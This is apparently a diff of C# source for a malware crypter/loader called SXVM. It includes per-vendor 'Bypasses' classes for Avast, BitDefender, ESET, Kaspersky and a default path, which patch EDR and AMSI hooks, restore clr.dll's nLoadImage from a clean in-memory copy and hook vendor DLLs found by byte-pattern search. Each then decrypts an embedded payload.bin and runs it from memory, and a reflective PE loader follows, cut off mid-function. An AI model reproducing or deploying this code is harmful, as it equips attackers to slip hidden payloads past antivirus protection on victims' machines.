|
||||
{
|
||||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw new InvalidOperationException();
|
||||
}
|
||||
|
||||
if (FunctionPtr == IntPtr.Zero)
|
||||
{
|
||||
throw new MissingMethodException();
|
||||
}
|
||||
return FunctionPtr;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
|
||||
namespace SXVM.Bypasses
|
||||
{
|
||||
internal static class Avast
|
||||
{
|
||||
internal static void Bypass(string[] args)
|
||||
{
|
||||
PatchEDR(true, true, true);
|
||||
Program.AttachHooks(null);
|
||||
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||
ClearDecryptionKeyFromMemory();
|
||||
try
|
||||
{
|
||||
mi.Invoke(null, new object[] { args });
|
||||
}
|
||||
catch
|
||||
{
|
||||
mi.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
|
||||
namespace SXVM.Bypasses
|
||||
{
|
||||
internal static class BitDefender
|
||||
{
|
||||
internal static void Bypass(string[] args)
|
||||
{
|
||||
PatchEDR(false, true, false);
|
||||
HardwareBreakpointAmsiPatch.Bypass();
|
||||
string CLRFilePath = @"";
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
if (module.ModuleName == @"clr.dll")
|
||||
{
|
||||
CLRFilePath = module.FileName;
|
||||
break;
|
||||
}
|
||||
}
|
||||
IntPtr RealCLRAddress = FindECallFunction(@"clr.dll", @"nLoadImage");
|
||||
DLLFromMemory MemCLR = new DLLFromMemory(File.ReadAllBytes(CLRFilePath));
|
||||
IntPtr MemCLRAddress = FindECallFunctionViaModule(MemCLR.pCode, @"nLoadImage");
|
||||
byte[] CLRPatch = ReadMemoryBlock(MemCLRAddress, 30);
|
||||
WriteMemoryBlock(RealCLRAddress, CLRPatch, (uint)CLRPatch.Length);
|
||||
CLRPatch = null;
|
||||
CLRFilePath = @"";
|
||||
CLRFilePath = null;
|
||||
MemCLR.Close();
|
||||
MemCLR = null;
|
||||
GC.Collect();
|
||||
Program.AttachHooks(null);
|
||||
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||
ClearDecryptionKeyFromMemory();
|
||||
try
|
||||
{
|
||||
mi.Invoke(null, new object[] { args });
|
||||
}
|
||||
catch
|
||||
{
|
||||
mi.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
|
||||
namespace SXVM.Bypasses
|
||||
{
|
||||
internal static class Default
|
||||
{
|
||||
internal static void Bypass(string[] args)
|
||||
{
|
||||
PatchEDR(true, true, false);
|
||||
Program.AttachHooks(null);
|
||||
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||
ClearDecryptionKeyFromMemory();
|
||||
try
|
||||
{
|
||||
mi.Invoke(null, new object[] { args });
|
||||
}
|
||||
catch
|
||||
{
|
||||
mi.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
|
||||
namespace SXVM.Bypasses
|
||||
{
|
||||
internal static class ESET
|
||||
{
|
||||
private static SXVM sxvm_eset = new SXVM();
|
||||
|
||||
private delegate void ESETBypass();
|
||||
|
||||
private delegate void ESETHijack();
|
||||
|
||||
private static string[] PassthroughArgs = null;
|
||||
|
||||
internal static void Bypass(string[] args)
|
||||
{
|
||||
PatchEDR(true, true, false);
|
||||
ESETBypass eSETBypass = _ESETBypass;
|
||||
IntPtr ESETAddress = SearchAoB(@"48 83 EC 28 E8 BB FF FF FF 48 F7 D8 1B C0 F7 D8", @"eamsi.dll");
|
||||
sxvm_eset.Hook(ESETAddress, eSETBypass, true, false);
|
||||
PassthroughArgs = args;
|
||||
try
|
||||
{
|
||||
ESETHijack eSETHijack = Marshal.GetDelegateForFunctionPointer<ESETHijack>(ESETAddress);
|
||||
eSETHijack();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void _ESETBypass()
|
||||
{
|
||||
sxvm_eset.Unhook();
|
||||
Program.AttachHooks(null);
|
||||
HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Socket), @"Connect", new Type[] { typeof(IPAddress), typeof(int) }), typeof(HookedSocket.Connect), null);
|
||||
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||
ClearDecryptionKeyFromMemory();
|
||||
try
|
||||
{
|
||||
string[] args = PassthroughArgs;
|
||||
PassthroughArgs = null;
|
||||
mi.Invoke(null, new object[] { args });
|
||||
}
|
||||
catch
|
||||
{
|
||||
mi.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
|
||||
private static class HookedSocket
|
||||
{
|
||||
internal static class Connect
|
||||
{
|
||||
internal static bool Prefix(ref IPAddress address, ref int port)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
|
||||
namespace SXVM.Bypasses
|
||||
{
|
||||
internal static class Kaspersky
|
||||
{
|
||||
private static SXVM sxvm_kaspersky = new SXVM();
|
||||
|
||||
private delegate void KasperskyBypass();
|
||||
|
||||
private static string[] PassthroughArgs = null;
|
||||
|
||||
internal static void Bypass(string[] args)
|
||||
{
|
||||
PatchEDR(false, true, false);
|
||||
HardwareBreakpointAmsiPatch.Bypass();
|
||||
KasperskyBypass kasperskyBypass = _KasperskyBypass;
|
||||
IntPtr KasperskyAddress = typeof(System.Windows.Forms.MessageBox).GetMethod("Show", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static, null, new Type[] { typeof(string) }, null).MethodHandle.GetFunctionPointer();
|
||||
sxvm_kaspersky.Hook(KasperskyAddress, kasperskyBypass, true, false);
|
||||
PassthroughArgs = args;
|
||||
try
|
||||
{
|
||||
MessageBox.Show("A");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void _KasperskyBypass()
|
||||
{
|
||||
sxvm_kaspersky.Unhook();
|
||||
Program.AttachHooks(null);
|
||||
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||
ClearDecryptionKeyFromMemory();
|
||||
try
|
||||
{
|
||||
string[] args = PassthroughArgs;
|
||||
PassthroughArgs = null;
|
||||
mi.Invoke(null, new object[] { args });
|
||||
}
|
||||
catch
|
||||
{
|
||||
mi.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,895 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal class DLLFromMemory : IDisposable
|
||||
{
|
||||
public class DllException : Exception
|
||||
{
|
||||
public DllException() : base() { }
|
||||
public DllException(string message) : base(message) { }
|
||||
public DllException(string message, Exception innerException) : base(message, innerException) { }
|
||||
}
|
||||
|
||||
public bool Disposed { get; private set; }
|
||||
public bool IsDll { get; private set; }
|
||||
|
||||
public IntPtr pCode = IntPtr.Zero;
|
||||
IntPtr pNTHeaders = IntPtr.Zero;
|
||||
IntPtr[] ImportModules;
|
||||
bool _initialized = false;
|
||||
DllEntryDelegate _dllEntry = null;
|
||||
ExeEntryDelegate _exeEntry = null;
|
||||
bool _isRelocated = false;
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||
delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||
delegate int ExeEntryDelegate();
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||
delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved);
|
||||
|
||||
public DLLFromMemory(byte[] data)
|
||||
{
|
||||
Disposed = false;
|
||||
if (data == null) throw new ArgumentNullException("data");
|
||||
MemoryLoadLibrary(data);
|
||||
}
|
||||
|
||||
~DLLFromMemory()
|
||||
{
|
||||
Dispose();
|
||||
}
|
||||
|
||||
public TDelegate GetDelegateFromFuncName<TDelegate>(string funcName) where TDelegate : class
|
||||
{
|
||||
if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + " is not a delegate");
|
||||
TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate;
|
||||
if (res == null) throw new DllException("Unable to get managed delegate");
|
||||
return res;
|
||||
}
|
||||
|
||||
public Delegate GetDelegateFromFuncName(string funcName, Type delegateType)
|
||||
{
|
||||
if (delegateType == null) throw new ArgumentNullException("delegateType");
|
||||
if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + " is not a delegate");
|
||||
Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType);
|
||||
if (res == null) throw new DllException("Unable to get managed delegate");
|
||||
return res;
|
||||
}
|
||||
|
||||
public IntPtr GetPtrFromFuncName(string funcName)
|
||||
{
|
||||
if (Disposed) throw new ObjectDisposedException("DLLFromMemory");
|
||||
if (string.IsNullOrEmpty(funcName)) throw new ArgumentException("funcName");
|
||||
if (!IsDll) throw new InvalidOperationException("Loaded Module is not a DLL");
|
||||
|
||||
IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable));
|
||||
IMAGE_DATA_DIRECTORY Directory = PtrRead<IMAGE_DATA_DIRECTORY>(pDirectory);
|
||||
if (Directory.Size == 0) throw new DllException("Dll has no export table");
|
||||
|
||||
IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress);
|
||||
IMAGE_EXPORT_DIRECTORY Exports = PtrRead<IMAGE_EXPORT_DIRECTORY>(pExports);
|
||||
if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException("Dll exports no functions");
|
||||
|
||||
IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames);
|
||||
IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals);
|
||||
for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort)))
|
||||
{
|
||||
uint NameRef = PtrRead<uint>(pNameRef);
|
||||
ushort Ordinal = PtrRead<ushort>(pOrdinal);
|
||||
string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef));
|
||||
if (curFuncName == funcName)
|
||||
{
|
||||
if (Ordinal > Exports.NumberOfFunctions) throw new DllException("Invalid function ordinal");
|
||||
IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4)));
|
||||
return PtrAdd(pCode, PtrRead<uint>(pAddressOfFunction));
|
||||
}
|
||||
}
|
||||
|
||||
throw new DllException("Dll exports no function named " + funcName);
|
||||
}
|
||||
|
||||
public int MemoryCallEntryPoint()
|
||||
{
|
||||
if (Disposed) throw new ObjectDisposedException("DLLFromMemory");
|
||||
if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException("Unable to call entry point. Is loaded module a dll?");
|
||||
return _exeEntry();
|
||||
}
|
||||
|
||||
void MemoryLoadLibrary(byte[] data)
|
||||
{
|
||||
if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException("Not a valid executable file");
|
||||
IMAGE_DOS_HEADER DosHeader = BytesReadStructAt<IMAGE_DOS_HEADER>(data, 0);
|
||||
if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException("Not a valid executable file");
|
||||
|
||||
if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException("Not a valid executable file");
|
||||
IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt<IMAGE_NT_HEADERS>(data, DosHeader.e_lfanew);
|
||||
|
||||
if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException("Not a valid PE file");
|
||||
if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException("Machine type doesn't fit (i386 vs. AMD64)");
|
||||
if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException("Wrong section alignment"); //Only support multiple of 2
|
||||
//if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException("Module has no entry point");
|
||||
|
||||
SYSTEM_INFO systemInfo;
|
||||
Win.GetNativeSystemInfo(out systemInfo);
|
||||
uint lastSectionEnd = 0;
|
||||
int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||
for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER)
|
||||
{
|
||||
IMAGE_SECTION_HEADER Section = BytesReadStructAt<IMAGE_SECTION_HEADER>(data, ofSection);
|
||||
uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||
if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection;
|
||||
}
|
||||
|
||||
uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize);
|
||||
uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize);
|
||||
if (alignedImageSize != alignedLastSection) throw new BadImageFormatException("Wrong section alignment");
|
||||
|
||||
IntPtr oldHeader_OptionalHeader_ImageBase;
|
||||
if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong));
|
||||
else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32));
|
||||
|
||||
pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
|
||||
if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
|
||||
if (pCode == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||
|
||||
if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32))
|
||||
{
|
||||
System.Collections.Generic.List<IntPtr> BlockedMemory = new System.Collections.Generic.List<IntPtr>();
|
||||
while (PtrSpanBoundary(pCode, alignedImageSize, 32))
|
||||
{
|
||||
BlockedMemory.Add(pCode);
|
||||
pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
if (pCode == IntPtr.Zero) break;
|
||||
}
|
||||
foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE);
|
||||
if (pCode == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||
}
|
||||
|
||||
IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
if (headers == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||
|
||||
Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders));
|
||||
pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew);
|
||||
|
||||
IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase);
|
||||
if (locationDelta != IntPtr.Zero)
|
||||
{
|
||||
Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader");
|
||||
Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), "ImageBaseLong");
|
||||
IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase));
|
||||
PtrWrite(pImageBase, pCode);
|
||||
}
|
||||
|
||||
CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data);
|
||||
|
||||
_isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true);
|
||||
|
||||
ImportModules = BuildImportTable(ref OrgNTHeaders, pCode);
|
||||
|
||||
FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize);
|
||||
|
||||
ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders);
|
||||
|
||||
IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0);
|
||||
if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0)
|
||||
{
|
||||
if (IsDll)
|
||||
{
|
||||
IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);
|
||||
_dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate));
|
||||
|
||||
_initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero));
|
||||
}
|
||||
else
|
||||
{
|
||||
IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);
|
||||
_exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data)
|
||||
{
|
||||
IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||
for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))
|
||||
{
|
||||
IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||
if (Section.SizeOfRawData == 0)
|
||||
{
|
||||
uint size = OrgNTHeaders.OptionalHeader.SectionAlignment;
|
||||
if (size > 0)
|
||||
{
|
||||
IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
if (dest == IntPtr.Zero) throw new DllException("Unable to allocate memory");
|
||||
|
||||
dest = PtrAdd(pCode, Section.VirtualAddress);
|
||||
|
||||
PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));
|
||||
|
||||
Win.MemSet(dest, 0, (UIntPtr)size);
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||
if (dest == IntPtr.Zero) throw new DllException("Out of memory");
|
||||
|
||||
dest = PtrAdd(pCode, Section.VirtualAddress);
|
||||
Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData));
|
||||
|
||||
PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta)
|
||||
{
|
||||
if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero);
|
||||
|
||||
for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;)
|
||||
{
|
||||
IMAGE_BASE_RELOCATION Relocation = PtrRead<IMAGE_BASE_RELOCATION>(pRelocation);
|
||||
if (Relocation.VirtualAdress == 0) break;
|
||||
|
||||
IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress);
|
||||
IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION);
|
||||
uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2);
|
||||
for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort)))
|
||||
{
|
||||
ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort));
|
||||
BasedRelocationType type = (BasedRelocationType)(relInfo >> 12);
|
||||
int offset = (relInfo & 0xfff);
|
||||
IntPtr pPatchAddr = PtrAdd(pDest, offset);
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW:
|
||||
int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int));
|
||||
patchAddrHL += (int)delta;
|
||||
Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false);
|
||||
break;
|
||||
case BasedRelocationType.IMAGE_REL_BASED_DIR64:
|
||||
long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long));
|
||||
patchAddr64 += (long)delta;
|
||||
Marshal.StructureToPtr(patchAddr64, pPatchAddr, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode)
|
||||
{
|
||||
System.Collections.Generic.List<IntPtr> ImportModules = new System.Collections.Generic.List<IntPtr>();
|
||||
uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR;
|
||||
IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress);
|
||||
for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR))
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead<IMAGE_IMPORT_DESCRIPTOR>(pImportDesc);
|
||||
if (ImportDesc.Name == 0) break;
|
||||
|
||||
IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name));
|
||||
if (PtrIsInvalidHandle(handle))
|
||||
{
|
||||
foreach (IntPtr m in ImportModules) Win.FreeLibrary(m);
|
||||
ImportModules.Clear();
|
||||
throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name)));
|
||||
}
|
||||
ImportModules.Add(handle);
|
||||
|
||||
IntPtr pThunkRef, pFuncRef;
|
||||
if (ImportDesc.OriginalFirstThunk > 0)
|
||||
{
|
||||
pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk);
|
||||
pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||
}
|
||||
else
|
||||
{
|
||||
pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||
pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||
}
|
||||
for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef))
|
||||
{
|
||||
IntPtr ReadThunkRef = PtrRead<IntPtr>(pThunkRef), WriteFuncRef;
|
||||
if (ReadThunkRef == IntPtr.Zero) break;
|
||||
if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef))
|
||||
{
|
||||
WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef));
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name));
|
||||
}
|
||||
if (WriteFuncRef == IntPtr.Zero) throw new DllException("Can't get adress for imported function");
|
||||
PtrWrite(pFuncRef, WriteFuncRef);
|
||||
}
|
||||
}
|
||||
return (ImportModules.Count > 0 ? ImportModules.ToArray() : null);
|
||||
}
|
||||
|
||||
static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize)
|
||||
{
|
||||
UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero);
|
||||
IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||
IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||
SectionFinalizeData sectionData = new SectionFinalizeData();
|
||||
sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);
|
||||
sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize);
|
||||
sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders);
|
||||
sectionData.Characteristics = Section.Characteristics;
|
||||
sectionData.Last = false;
|
||||
pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER);
|
||||
|
||||
for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))
|
||||
{
|
||||
Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||
IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);
|
||||
IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize);
|
||||
IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders);
|
||||
|
||||
IntPtr a = PtrAdd(sectionData.Address, sectionData.Size);
|
||||
ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress);
|
||||
|
||||
if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress))
|
||||
{
|
||||
